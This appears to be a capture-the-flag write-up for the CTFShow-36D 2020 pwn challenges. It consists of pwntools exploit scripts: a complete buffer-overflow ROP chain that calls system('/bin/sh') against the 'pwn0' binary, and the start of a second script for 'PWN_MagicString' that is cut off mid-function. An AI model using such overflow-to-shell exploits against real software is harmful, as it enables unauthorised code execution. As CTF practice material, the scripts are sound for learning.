CTFShow-36D 2020 pwn

pwn0

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "pwn0"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
pop_rdi_addr=0x00000000004006d3
sys_addr=0x00000000004004E0
binsh_addr=0x601040    #***
# libc

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    payload=b'a'*(0x28)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(sys_addr)
    io.sendline(payload)
    io.interactive()
main()

PWN_MagicString

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "PWN_MagicString"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
pop_rdi=0x0000000000400733
ti_addr=0x60104D
binsh_addr=0x601048
magic_addr=0x000000000040062D
sys_addr=0x00000000004004F0
# libc


def b(addr):
    bk = "b *$rebase" +